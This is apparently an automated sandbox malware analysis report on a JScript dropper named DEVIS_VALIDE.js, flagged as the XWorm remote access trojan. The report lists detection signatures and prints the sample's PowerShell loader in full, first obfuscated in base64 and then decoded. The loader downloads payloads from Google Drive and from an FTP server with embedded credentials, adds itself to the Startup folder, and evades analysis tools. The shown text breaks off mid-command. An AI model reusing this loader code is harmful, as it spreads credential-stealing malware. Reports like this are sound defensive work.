Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
DEVIS_VALIDE.js

Overview

General Information

Sample name:DEVIS_VALIDE.js
Analysis ID:1559259
MD5:9feff1a23db299a128f16bc6091df793
SHA1:2041542fb6ddc259c2888d587f75a06947d6c0dc
SHA256:67c03094daa4c6180373eb864cb86f6ae156bc0481115d826917dd950f8e99d9
Tags:jsuser-nawhack
Infos:

Detection

XWorm
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Sigma detected: Copy file to startup via Powershell
Sigma detected: Paste sharing url in reverse order
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Powershell download and execute
Yara detected Telegram RAT
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Connects to many ports of the same IP (likely port scanning)
Contains functionality to log keystrokes (.Net Source)
Creates autostart registry keys with suspicious values (likely registry only malware)
Creates multiple autostart registry keys
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Potential dropper URLs found in powershell memory
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Self deletion via cmd or bat file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell DownloadFile
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Tries to harvest and steal browser information (history, passwords, etc)
Uses dynamic DNS services
Uses powershell cmdlets to delay payload execution
Uses the Telegram API (likely for C&C communication)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses FTP
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 7136 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DEVIS_VALIDE.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • powershell.exe (PID: 6308 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQARg' + [char]66 + 'pAGwAZQAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACwAIAAoACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACkAIAApACAAOwAkAHQAcA' + [char]66 + 'XAGsARgAgAD0AIAAoACAAJw' + [char]66 + 'DADoAXA' + [char]66 + 'VAHMAZQ' + [char]66 + 'yAHMAXAAnACAAKwAgAFsARQ' + [char]66 + 'uAHYAaQ' + [char]66 + 'yAG8Abg' + [char]66 + 'tAGUAbg' + [char]66 + '0AF0AOgA6AFUAcw' + [char]66 + 'lAHIATg' + [char]66 + 'hAG0AZQAgACkAOw' + [char]66 + 'IAGgAWA' + [char]66 + 'IAEIAIAA9ACAAKAAgACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACAAKQAgADsAIA' + [char]66 + 'wAG8Adw' + [char]66 + 'lAHIAcw' + [char]66 + 'oAGUAbA' + [char]66 + 'sAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + '3AHUAcw' + [char]66 + 'hAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + 'IAGgAWA' + [char]66 + 'IAEIAIAAvAHEAdQ' + [char]66 + 'pAGUAdAAgAC8Abg' + [char]66 + 'vAHIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQAIAA7ACAAQw' + [char]66 + 'vAHAAeQAtAEkAdA' + [char]66 + 'lAG0AIAAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAgAC0ARA' + [char]66 + 'lAHMAdA' + [char]66 + 'pAG4AYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uACAAKAAgACQAdA' + [char]66 + 'wAFcAaw' + [char]66 + 'GACAAKwAgACcAXA' + [char]66 + '' + [char]66 + 'AHAAcA' + [char]66 + 'EAGEAdA' + [char]66 + 'hAFwAUg' + [char]66 + 'vAGEAbQ' + [char]66 + 'pAG4AZw' + [char]66 + 'cAE0AaQ' + [char]66 + 'jAHIAbw' + [char]66 + 'zAG8AZg' + [char]66 + '0AFwAVw' + [char]66 + 'pAG4AZA' + [char]66 + 'vAHcAcw' + [char]66 + 'cAFMAdA' + [char]66 + 'hAHIAdAAgAE0AZQ' + [char]66 + 'uAHUAXA' + [char]66 + 'QAHIAbw' + [char]66 + 'nAHIAYQ' + [char]66 + 'tAHMAXA' + [char]66 + 'TAHQAYQ' + [char]66 + 'yAHQAdQ' + [char]66 + 'wACcAIAApACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7AHAAbw' + [char]66 + '3AGUAcg' + [char]66 + 'zAGgAZQ' + [char]66 + 'sAGwALg' + [char]66 + 'lAHgAZQAgAC0AYw' + [char]66 + 'vAG0AbQ' + [char]66 + 'hAG4AZAAgACcAcw' + [char]66 + 'sAGUAZQ' + [char]66 + 'wACAAMQA4ADAAJwA7ACAAcw' + [char]66 + 'oAHUAdA' + [char]66 + 'kAG8Adw' + [char]66 + 'uAC4AZQ' + [char]66 + '4AGUAIAAvAHIAIAAvAHQAIAAwACAALw' + [char]66 + 'mACAAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAew' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAEMAZQ' + [char]66 + 'yAHQAaQ' + [char]66 + 'mAGkAYw' + [char]66 + 'hAHQAZQ' + [char]66 + 'WAGEAbA' + [char]66 + 'pAGQAYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uAEMAYQ' + [char]66 + 'sAGwAYg' + [char]66 + 'hAGMAawAgAD0AIA' + [char]66 + '7ACQAdA' + [char]66 + 'yAHUAZQ' + [char]66 + '9ACAAOw' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'jAHUAcg' + [char]66 + 'pAHQAeQ' + [char]66 + 'QAHIAbw' + [char]66 + '0AG8AYw' + [char]66 + 'vAGwAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AUw' + [char]66 + 'lAGMAdQ' + [char]66 + 'yAGkAdA' + [char]66 + '5AFAAcg' + [char]66 + 'vAHQAbw' + [char]66 + 'jAG8AbA' + [char]66 + 'UAHkAcA' + [char]66 + 'lAF0AOgA6AFQAbA' + [char]66 + 'zADEAMgAgADsAaQ' + [char]66 + 'mACgAKA' + [char]66 + 'nAGUAdAAtAHAAcg' + [char]66 + 'vAGMAZQ' + [char]66 + 'zAHMAIAAnAFcAaQ' + [char]66 + 'yAGUAcw' + [char]66 + 'oAGEAcg' + [char]66 + 'rACcALAAnAGEAcA' + [char]66 + 'hAHQAZQ' + [char]66 + 'EAE4AUwAnACwAJw' + [char]66 + 'hAG4AYQ' + [char]66 + 'sAHkAeg' + [char]66 + 'lACcAIAAtAGUAYQAgAFMAaQ' + [char]66 + 'sAGUAbg' + [char]66 + '0AGwAeQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGkAbg' + [char]66 + '1AGUAKQAgAC0AZQ' + [char]66 + 'xACAAJA' + [char]66 + 'OAHUAbA' + [char]66 + 'sACkAewAgAA0ACgAgACAAIAAgACAAIAAgAA0ACg' + [char]66 + '9AA0ACgANAAoAZQ' + [char]66 + 'sAHMAZQ' + [char]66 + '7ACAADQAKAFIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQALQ' + [char]66 + 'DAG8AbQ' + [char]66 + 'wAHUAdA' + [char]66 + 'lAHIAIAAtAGYAbw' + [char]66 + 'yAGMAZQAgADsADQAKACAAIAAgACAAIAAgAGUAeA' + [char]66 + 'pAHQAIAA7AA0ACgAgAH0AIAA7ACQAag' + [char]66 + 'sAGMAcQ' + [char]66 + 'qACAAPQAgACgAJw' + [char]66 + 'mAHQAcAA6AC8ALw' + [char]66 + 'kAGUAcw' + [char]66 + 'jAGsAdg' + [char]66 + 'iAHIAYQ' + [char]66 + '0ADEAQA' + [char]66 + 'mAHQAcAAuAGQAZQ' + [char]66 + 'zAGMAaw' + [char]66 + '2AGIAcg' + [char]66 + 'hAHQALg' + [char]66 + 'jAG8AbQAuAGIAcgAvAFUAcA' + [char]66 + 'jAHIAeQ' + [char]66 + 'wAHQAZQ' + [char]66 + 'yACcAIAArACAAJwAvADAAMgAvAEQATA' + [char]66 + 'MADAAMQAuAHQAeA' + [char]66 + '0ACcAIAApADsAJA' + [char]66 + 'JAGUAcA' + [char]66 + 'HAFEAIAA9ACAAKAAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'JAE8ALg' + [char]66 + 'QAGEAdA' + [char]66 + 'oAF0AOgA6AEcAZQ' + [char]66 + '0AFQAZQ' + [char]66 + 'tAHAAUA' + [char]66 + 'hAHQAaAAoACkAIAArACAAJw' + [char]66 + 'kAGwAbAAwADEALg' + [char]66 + '0AHgAdAAnACkAOwAkAE8Aag' + [char]66 + 'yAFIAUAAgAD0AIAAoAC0Aag' + [char]66 + 'vAGkAbgAgAFsAYw' + [char]66 + 'oAGEAcg' + [char]66 + 'bAF0AXQAoADEAMAAwACwAMQAwADEALAAxADEANQAsADkAOQAsADEAMAA3ACwAMQAxADgALAA5ADgALAAxADEANAAsADkANwAsADEAMQA2ACwANAA5ACkAKQAgADsAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAIAA9ACAAKAAtAGoAbw' + [char]66 + 'pAG4AIA' + [char]66 + 'bAGMAaA' + [char]66 + 'hAHIAWw' + [char]66 + 'dAF0AKAAxADAAMgAsACAAOAA5ACwAIAAxADEANwAsACAAMQAwADAALAAgADgAOQAsACAANAA5ACwAIAA1ADMALAAgADUANQAsACAANQA2ACwAIAA2ADQALAAgADYANAAsACAANgA0ACwAIAA2ADQALAAgADYANAAsACAANgA0ACAAKQApACAAOwAkAHcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAPQAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AVw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQAIAA7ACQAdw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQALg' + [char]66 + 'DAHIAZQ' + [char]66 + 'kAGUAbg' + [char]66 + '0AGkAYQ' + [char]66 + 'sAHMAIAA9ACAAbg' + [char]66 + 'lAHcALQ' + [char]66 + 'vAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'OAGUAdA' + [char]66 + '3AG8Acg' + [char]66 + 'rAEMAcg' + [char]66 + 'lAGQAZQ' + [char]66 + 'uAHQAaQ' + [char]66 + 'hAGwAKAAkAE8Aag' + [char]66 + 'yAFIAUAAsACAAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAKQAgADsAJA' + [char]66 + 'SAFYAVQ' + [char]66 + 'YAHYAIAA9ACAAJA' + [char]66 + '3AGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'qAGwAYw' + [char]66 + 'xAGoAIAApACAAOwAkAFIAVg' + [char]66 + 'VAFgAdgAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQASQ' + [char]66 + 'lAHAARw' + [char]66 + 'RACAALQ' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAAnAFUAVA' + [char]66 + 'GADgAJwAgAC0AZg' + [char]66 + 'vAHIAYw' + [char]66 + 'lACAAOwAkAFMAVA' + [char]66 + 'mAEcAbAAgAD0AIAAoACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQAgACsAIAAnAGQAbA' + [char]66 + 'sADAAMgAuAHQAeA' + [char]66 + '0ACcAKQAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4AIAA9ACAATg' + [char]66 + 'lAHcALQ' + [char]66 + 'PAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'XAGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4ALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAAgAD0AIAAoACAARw' + [char]66 + 'lAHQALQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGUAbg' + [char]66 + '0ACAALQ' + [char]66 + 'QAGEAdA' + [char]66 + 'oACAAJA' + [char]66 + 'JAGUAcA' + [char]66 + 'HAFEAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAD0AIAAkAFAAaA' + [char]66 + 'yAGwATgAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7ACQATQ' + [char]66 + 'PAEQAUg' + [char]66 + 'nACAAPQAgACcAJA' + [char]66 + 'yAHkAYQ' + [char]66 + 'lAEcAIAA9ACAAKA' + [char]66 + 'HAGUAdAAtAEMAbw' + [char]66 + 'uAHQAZQ' + [char]66 + 'uAHQAIAAtAFAAYQ' + [char]66 + '0AGgAIAAnACAAKwAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAAKwAgACcAIAAtAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZwAgAFUAVA' + [char]66 + 'GADgAKQA7ACcAIAA7ACQATQ' + [char]66 + 'PAEQAUg' + [char]66 + 'nACAAKwA9ACAAJw' + [char]66 + 'bAEIAeQ' + [char]66 + '0AGUAWw' + [char]66 + 'dAF0AIAAkAEYAeQ' + [char]66 + 'mAGQAegAgAD0AIA' + [char]66 + 'bAHMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4AQw' + [char]66 + 'vAG4Adg' + [char]66 + 'lAHIAdA' + [char]66 + 'dADoAOg' + [char]66 + 'GAHIAbw' + [char]66 + 'tAEIAYQ' + [char]66 + 'zAGUANgA0AFMAdA' + [char]66 + 'yAGkAbg' + [char]66 + 'nACgAIAAkAHIAeQ' + [char]66 + 'hAGUARwAuAHIAZQ' + [char]66 + 'wAGwAYQ' + [char]66 + 'jAGUAKAAnACcAkyE6AJMhJwAnACwAJwAnAEEAJwAnACkAIAApACAAOwAnACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgACsAPQAgACcAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEEAcA' + [char]66 + 'wAEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAF0AOgA6AEMAdQ' + [char]66 + 'yAHIAZQ' + [char]66 + 'uAHQARA' + [char]66 + 'vAG0AYQ' + [char]66 + 'pAG4ALg' + [char]66 + 'MAG8AYQ' + [char]66 + 'kACgAIAAkAEYAeQ' + [char]66 + 'mAGQAegAgACkALgAnACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgACsAPQAgACcARw' + [char]66 + 'lAHQAVA' + [char]66 + '5AHAAZQAoACAAJwAnAEMAbA' + [char]66 + 'hAHMAcw' + [char]66 + 'MAGkAYg' + [char]66 + 'yAGEAcg' + [char]66 + '5ADMALg' + [char]66 + 'DAGwAYQ' + [char]66 + 'zAHMAMQAnACcAIAApAC4ARw' + [char]66 + 'lAHQATQAnACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgACsAPQAgACcAZQ' + [char]66 + '0AGgAbw' + [char]66 + 'kACgAIAAnACcAcA' + [char]66 + 'yAEYAVg' + [char]66 + 'JACcAJwAgACkALg' + [char]66 + 'JAG4Adg' + [char]66 + 'vAGsAZQAoACAAJA' + [char]66 + 'uAHUAbA' + [char]66 + 'sACAALAAgAFsAbw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAWw' + [char]66 + 'dAF0AIAAoACAAJwAnAGsANw' + [char]66 + 'OAG4ATQ' + [char]66 + 'DAFAAQwAvAHcAYQ' + [char]66 + 'yAC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + 'uAGkAYg' + [char]66 + 'lAHQAcw' + [char]66 + 'hAHAALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAJwAgACwAIAAnACcAJQ' + [char]66 + 'EAEMAUA' + [char]66 + 'KAFUAJQAnACcAIAAsACAAIAAnACcARAAgAEQARA' + [char]66 + 'SAGUAZw' + [char]66 + '' + [char]66 + 'AHMAbQAnACcAIAAgACkAIAApADsAJwA7ACQAVg' + [char]66 + 'CAFcAVw' + [char]66 + '6ACAAPQAgACgAIA' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ASQ' + [char]66 + 'PAC4AUA' + [char]66 + 'hAHQAaA' + [char]66 + 'dADoAOg' + [char]66 + 'HAGUAdA' + [char]66 + 'UAGUAbQ' + [char]66 + 'wAFAAYQ' + [char]66 + '0AGgAKAApACAAKwAgACcAZA' + [char]66 + 'sAGwAMAAzAC4AcA' + [char]66 + 'zADEAJwApACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAVg' + [char]66 + 'CAFcAVw' + [char]66 + '6ACAAIAAtAGYAbw' + [char]66 + 'yAGMAZQAgADsAcA' + [char]66 + 'vAHcAZQ' + [char]66 + 'yAHMAaA' + [char]66 + 'lAGwAbAAgAC0ARQ' + [char]66 + '4AGUAYw' + [char]66 + '1AHQAaQ' + [char]66 + 'vAG4AUA' + [char]66 + 'vAGwAaQ' + [char]66 + 'jAHkAIA' + [char]66 + 'CAHkAcA' + [char]66 + 'hAHMAcwAgAC0ARg' + [char]66 + 'pAGwAZQAgACQAVg' + [char]66 + 'CAFcAVw' + [char]66 + '6ACAAOw' + [char]66 + '9ADsA';$jPhaA = $jPhaA.replace('?','B') ;$jPhaA = [System.Convert]::FromBase64String( $jPhaA ) ;;;$jPhaA = [System.Text.Encoding]::Unicode.GetString( $jPhaA ) ;$jPhaA = $jPhaA.replace('%DCPJU%','C:\Users\user\Desktop\DEVIS_VALIDE.js') ;powershell $jPhaA MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 6420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5764 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = 